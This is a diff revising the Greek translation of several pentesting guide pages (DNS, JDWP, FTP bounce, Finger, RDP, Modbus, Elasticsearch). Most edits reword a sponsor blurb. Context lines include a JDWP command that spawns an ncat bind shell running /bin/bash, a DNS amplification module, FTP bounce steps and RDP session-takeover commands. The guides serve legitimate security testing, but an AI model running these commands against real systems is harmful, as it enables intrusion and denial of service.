@ -148,7 +148,7 @@ _Σημείωση: Αν υποδείξετε μεγαλύτερο αριθμό,

 ![](<../.gitbook/assets/image (335).png>)

-Αν θέλετε απλά να **αναζητήσετε σε έναν δείκτη** μπορείτε απλά να **τον καθορίσετε** στο **μονοπάτι**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
+Αν θέλετε απλά να **αναζητήσετε σε έναν δείκτη** μπορείτε απλά να **τον προσδιορίσετε** στο **μονοπάτι**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`

 _Σημειώστε ότι η παράμετρος q που χρησιμοποιείται για την αναζήτηση περιεχομένου **υποστηρίζει κανονικές εκφράσεις**_

@ -190,9 +190,9 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/network-services-pentesting/pentesting-dns.md
+++ b/network-services-pentesting/pentesting-dns.md
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Get a hacker's perspective on your web apps, network, and cloud**

 **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

@ -36,11 +36,11 @@ PORT     STATE SERVICE  REASON
 ```
 ### Different DNS Servers

-* **DNS Root Servers**: Αυτοί είναι στην κορυφή της ιεραρχίας DNS, διαχειρίζονται τα κορυφαία επίπεδα τομέων και επεμβαίνουν μόνο αν οι χαμηλότεροι διακομιστές δεν απαντούν. Ο Οργανισμός Διαδικτύου για Καταχωρισμένα Ονόματα και Αριθμούς (**ICANN**) επιβλέπει τη λειτουργία τους, με παγκόσμιο αριθμό 13.
+* **DNS Root Servers**: Αυτοί είναι στην κορυφή της ιεραρχίας DNS, διαχειρίζονται τα κορυφαία επίπεδα τομέων και επεμβαίνουν μόνο αν οι χαμηλότεροι διακομιστές δεν απαντούν. Ο Οργανισμός Διαδικτυακών Ονομάτων και Αριθμών (**ICANN**) επιβλέπει τη λειτουργία τους, με παγκόσμιο αριθμό 13.
 * **Authoritative Nameservers**: Αυτοί οι διακομιστές έχουν τον τελικό λόγο για ερωτήματα στις καθορισμένες ζώνες τους, προσφέροντας οριστικές απαντήσεις. Αν δεν μπορούν να παρέχουν μια απάντηση, το ερώτημα κλιμακώνεται στους ριζικούς διακομιστές.
 * **Non-authoritative Nameservers**: Χωρίς ιδιοκτησία πάνω σε ζώνες DNS, αυτοί οι διακομιστές συγκεντρώνουν πληροφορίες τομέα μέσω ερωτημάτων σε άλλους διακομιστές.
 * **Caching DNS Server**: Αυτός ο τύπος διακομιστή απομνημονεύει τις προηγούμενες απαντήσεις ερωτημάτων για μια καθορισμένη χρονική περίοδο για να επιταχύνει τους χρόνους απόκρισης για μελλοντικά αιτήματα, με τη διάρκεια της μνήμης cache να καθορίζεται από τον αυθεντικό διακομιστή.
-* **Forwarding Server**: Εξυπηρετώντας έναν απλό ρόλο, οι διακομιστές προώθησης απλώς μεταφέρουν ερωτήματα σε έναν άλλο διακομιστή.
+* **Forwarding Server**: Εξυπηρετώντας έναν απλό ρόλο, οι διακομιστές προώθησης απλώς μεταφέρουν τα ερωτήματα σε έναν άλλο διακομιστή.
 * **Resolver**: Ενσωματωμένοι σε υπολογιστές ή δρομολογητές, οι resolvers εκτελούν την τοπική επίλυση ονομάτων και δεν θεωρούνται αυθεντικοί.

 ## Enumeration
@ -157,7 +157,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
 ```
 ### DNS Recursion DDoS

-Αν **η αναδρομή DNS είναι ενεργοποιημένη**, ένας επιτιθέμενος θα μπορούσε να **παραποιήσει** την **προέλευση** στο πακέτο UDP προκειμένου να κάνει το **DNS να στείλει την απάντηση στον διακομιστή θύμα**. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τους τύπους εγγραφών **ANY** ή **DNSSEC** καθώς χρησιμοποιούν για να έχουν τις μεγαλύτερες απαντήσεις.\
+Αν **η αναδρομή DNS είναι ενεργοποιημένη**, ένας επιτιθέμενος θα μπορούσε να **παραποιήσει** την **προέλευση** στο πακέτο UDP προκειμένου να κάνει το **DNS να στείλει την απάντηση στον θιγόμενο διακομιστή**. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τους τύπους εγγραφών **ANY** ή **DNSSEC** καθώς χρησιμοποιούν για να έχουν τις μεγαλύτερες απαντήσεις.\
 Ο τρόπος για να **ελέγξετε** αν ένα DNS υποστηρίζει **αναδρομή** είναι να κάνετε ερώτηση σε ένα όνομα τομέα και να **ελέγξετε** αν η **σημαία "ra"** (_διαθέσιμη αναδρομή_) είναι στην απάντηση:
 ```bash
 dig google.com A @<IP>
@ -172,9 +172,9 @@ dig google.com A @<IP>

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -224,10 +224,10 @@ Dangerous settings when configuring a Bind server:

 | **Option**        | **Description**                                                                |
 | ----------------- | ------------------------------------------------------------------------------ |
-| `allow-query`     | Ορίζει ποιες υπολογιστές επιτρέπεται να στέλνουν αιτήματα στον DNS server.     |
-| `allow-recursion` | Ορίζει ποιες υπολογιστές επιτρέπεται να στέλνουν αναδρομικά αιτήματα στον DNS server. |
-| `allow-transfer`  | Ορίζει ποιες υπολογιστές επιτρέπεται να λαμβάνουν μεταφορές ζωνών από τον DNS server. |
-| `zone-statistics` | Συλλέγει στατιστικά δεδομένα ζωνών.                                          |
+| `allow-query`     | Ορίζει ποιες υπολογιστές επιτρέπεται να στέλνουν αιτήματα στον διακομιστή DNS.            |
+| `allow-recursion` | Ορίζει ποιες υπολογιστές επιτρέπεται να στέλνουν αναδρομικά αιτήματα στον διακομιστή DNS.  |
+| `allow-transfer`  | Ορίζει ποιες υπολογιστές επιτρέπεται να λαμβάνουν μεταφορές ζωνών από τον διακομιστή DNS. |
+| `zone-statistics` | Συλλέγει στατιστικά δεδομένα ζωνών.                                            |

 ## References

@ -289,9 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
 ```
 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/network-services-pentesting/pentesting-finger.md
+++ b/network-services-pentesting/pentesting-finger.md
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Get a hacker's perspective on your web apps, network, and cloud**

 **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 ## **Basic Info**

-Το **Finger** πρόγραμμα/υπηρεσία χρησιμοποιείται για την ανάκτηση λεπτομερειών σχετικά με τους χρήστες υπολογιστών. Συνήθως, οι πληροφορίες που παρέχονται περιλαμβάνουν το **όνομα σύνδεσης του χρήστη, το πλήρες όνομα** και, σε ορισμένες περιπτώσεις, επιπλέον λεπτομέρειες. Αυτές οι επιπλέον λεπτομέρειες θα μπορούσαν να περιλαμβάνουν την τοποθεσία του γραφείου και τον αριθμό τηλεφώνου (αν είναι διαθέσιμος), την ώρα που ο χρήστης συνδέθηκε, την περίοδο αδράνειας (idle time), την τελευταία φορά που διαβάστηκε το email από τον χρήστη και το περιεχόμενο των αρχείων σχεδίου και έργου του χρήστη.
+Το πρόγραμμα/υπηρεσία **Finger** χρησιμοποιείται για την ανάκτηση λεπτομερειών σχετικά με τους χρήστες υπολογιστών. Συνήθως, οι πληροφορίες που παρέχονται περιλαμβάνουν το **όνομα σύνδεσης του χρήστη, το πλήρες όνομα** και, σε ορισμένες περιπτώσεις, επιπλέον λεπτομέρειες. Αυτές οι επιπλέον λεπτομέρειες θα μπορούσαν να περιλαμβάνουν την τοποθεσία του γραφείου και τον αριθμό τηλεφώνου (αν είναι διαθέσιμος), την ώρα που ο χρήστης συνδέθηκε, την περίοδο αδράνειας (idle time), την τελευταία φορά που διαβάστηκε το email από τον χρήστη και το περιεχόμενο των αρχείων σχεδίων και έργων του χρήστη.

 **Default port:** 79
 ```
@ -53,7 +53,7 @@ finger-user-enum.pl -U users.txt -T ips.txt
 ```
 #### **Nmap εκτελεί ένα σενάριο για να χρησιμοποιήσει τα προεπιλεγμένα σενάρια**

-### Το Metasploit χρησιμοποιεί περισσότερα κόλπα από το Nmap
+### Metasploit χρησιμοποιεί περισσότερα κόλπα από το Nmap
 ```
 use auxiliary/scanner/finger/finger_users
 ```
@ -75,9 +75,9 @@ finger @internal@external
 ```
 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md
+++ b/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md
@ -15,9 +15,9 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές ιστού, το δίκτυο και το cloud σας**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -28,15 +28,15 @@

 ## Απαιτήσεις

- Έγκυρα διαπιστευτήρια FTP στον FTP Middle server
- Έγκυρα διαπιστευτήρια FTP στον Victim FTP server
+- Έγκυρες διαπιστευτήρια FTP στον FTP Middle server
+- Έγκυρες διαπιστευτήρια FTP στον Victim FTP server
 - Και οι δύο servers δέχονται την εντολή PORT \(επίθεση bounce FTP\)
 - Μπορείτε να γράψετε μέσα σε κάποιον κατάλογο του FRP Middle server
 - Ο middle server θα έχει περισσότερη πρόσβαση μέσα στον Victim FTP Server από εσάς για κάποιο λόγο \(αυτό είναι που θα εκμεταλλευτείτε\)

 ## Βήματα

-1. Συνδεθείτε στον δικό σας FTP server και κάντε τη σύνδεση παθητική \(εντολή pasv\) για να ακούει σε έναν κατάλογο όπου η υπηρεσία του θύματος θα στείλει το αρχείο
+1. Συνδεθείτε στον δικό σας FTP server και κάντε τη σύνδεση παθητική \(εντολή pasv\) για να τον κάνετε να ακούει σε έναν κατάλογο όπου η υπηρεσία του θύματος θα στείλει το αρχείο
 2. Δημιουργήστε το αρχείο που θα στείλει ο FTP Middle server στον Victim server \(το exploit\). Αυτό το αρχείο θα είναι ένα απλό κείμενο με τις απαραίτητες εντολές για να αυθεντικοποιηθείτε στον Victim server, να αλλάξετε τον κατάλογο και να κατεβάσετε ένα αρχείο στον δικό σας server.
 3. Συνδεθείτε στον FTP Middle Server και ανεβάστε το προηγούμενο αρχείο
 4. Κάντε τον FTP Middle server να καθιερώσει μια σύνδεση με τον victim server και να στείλει το exploit αρχείο
@ -48,9 +48,9 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές ιστού, το δίκτυο και το cloud σας**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
+++ b/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
@ -17,19 +17,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

-## Exploiting
+## Εκμετάλλευση

 Η εκμετάλλευση του JDWP βασίζεται στην **έλλειψη αυθεντικοποίησης και κρυπτογράφησης του πρωτοκόλλου**. Γενικά βρίσκεται σε **θύρα 8000**, αλλά είναι δυνατές και άλλες θύρες. Η αρχική σύνδεση γίνεται στέλνοντας ένα "JDWP-Handshake" στη στοχοθετημένη θύρα. Εάν μια υπηρεσία JDWP είναι ενεργή, απαντά με την ίδια συμβολοσειρά, επιβεβαιώνοντας την παρουσία της. Αυτό το handshake λειτουργεί ως μέθοδος αναγνώρισης για την ταυτοποίηση υπηρεσιών JDWP στο δίκτυο.

 Όσον αφορά την αναγνώριση διαδικασιών, η αναζήτηση της συμβολοσειράς "jdwk" σε διαδικασίες Java μπορεί να υποδείξει μια ενεργή συνεδρία JDWP.

-Το εργαλείο αναφοράς είναι το [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Μπορείτε να το χρησιμοποιήσετε με διαφορετικές παραμέτρους:
+Το εργαλείο αναφοράς είναι το [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Μπορείτε να το χρησιμοποιήσετε με διάφορες παραμέτρους:
 ```bash
 ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
 ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
@ -82,7 +82,7 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Get a hacker's perspective on your web apps, network, and cloud**

 **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

--- a/network-services-pentesting/pentesting-modbus.md
+++ b/network-services-pentesting/pentesting-modbus.md
@ -15,7 +15,7 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας στο διαδίκτυο, το δίκτυο και το cloud**

 **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

@ -45,7 +45,7 @@ msf> use auxiliary/scanner/scada/modbus_findunitid

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud**

 **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

--- a/network-services-pentesting/pentesting-rdp.md
+++ b/network-services-pentesting/pentesting-rdp.md
@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

 ## Basic Information

-Αναπτυγμένο από τη Microsoft, το **Remote Desktop Protocol** (**RDP**) έχει σχεδιαστεί για να επιτρέπει μια γραφική σύνδεση μεταξύ υπολογιστών μέσω ενός δικτύου. Για να καθιερωθεί μια τέτοια σύνδεση, το λογισμικό πελάτη **RDP** χρησιμοποιείται από τον χρήστη, και ταυτόχρονα, ο απομακρυσμένος υπολογιστής απαιτεί να λειτουργεί το λογισμικό διακομιστή **RDP**. Αυτή η ρύθμιση επιτρέπει τον απρόσκοπτο έλεγχο και την πρόσβαση στο περιβάλλον επιφάνειας εργασίας ενός απομακρυσμένου υπολογιστή, φέρνοντας ουσιαστικά τη διεπαφή του στη τοπική συσκευή του χρήστη.
+Αναπτυγμένο από τη Microsoft, το **Remote Desktop Protocol** (**RDP**) έχει σχεδιαστεί για να επιτρέπει μια γραφική διεπαφή σύνδεσης μεταξύ υπολογιστών μέσω ενός δικτύου. Για να καθιερωθεί μια τέτοια σύνδεση, το λογισμικό πελάτη **RDP** χρησιμοποιείται από τον χρήστη, και ταυτόχρονα, ο απομακρυσμένος υπολογιστής απαιτεί να λειτουργεί το λογισμικό διακομιστή **RDP**. Αυτή η ρύθμιση επιτρέπει τον απρόσκοπτο έλεγχο και την πρόσβαση στο περιβάλλον επιφάνειας εργασίας ενός απομακρυσμένου υπολογιστή, φέρνοντας ουσιαστικά τη διεπαφή του στη τοπική συσκευή του χρήστη.

 **Default port:** 3389
 ```
@ -72,9 +72,9 @@ rdp_check <domain>/<name>:<password>@<IP>
 ```
 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -96,7 +96,7 @@ tscon <ID> /dest:<SESSIONNAME>

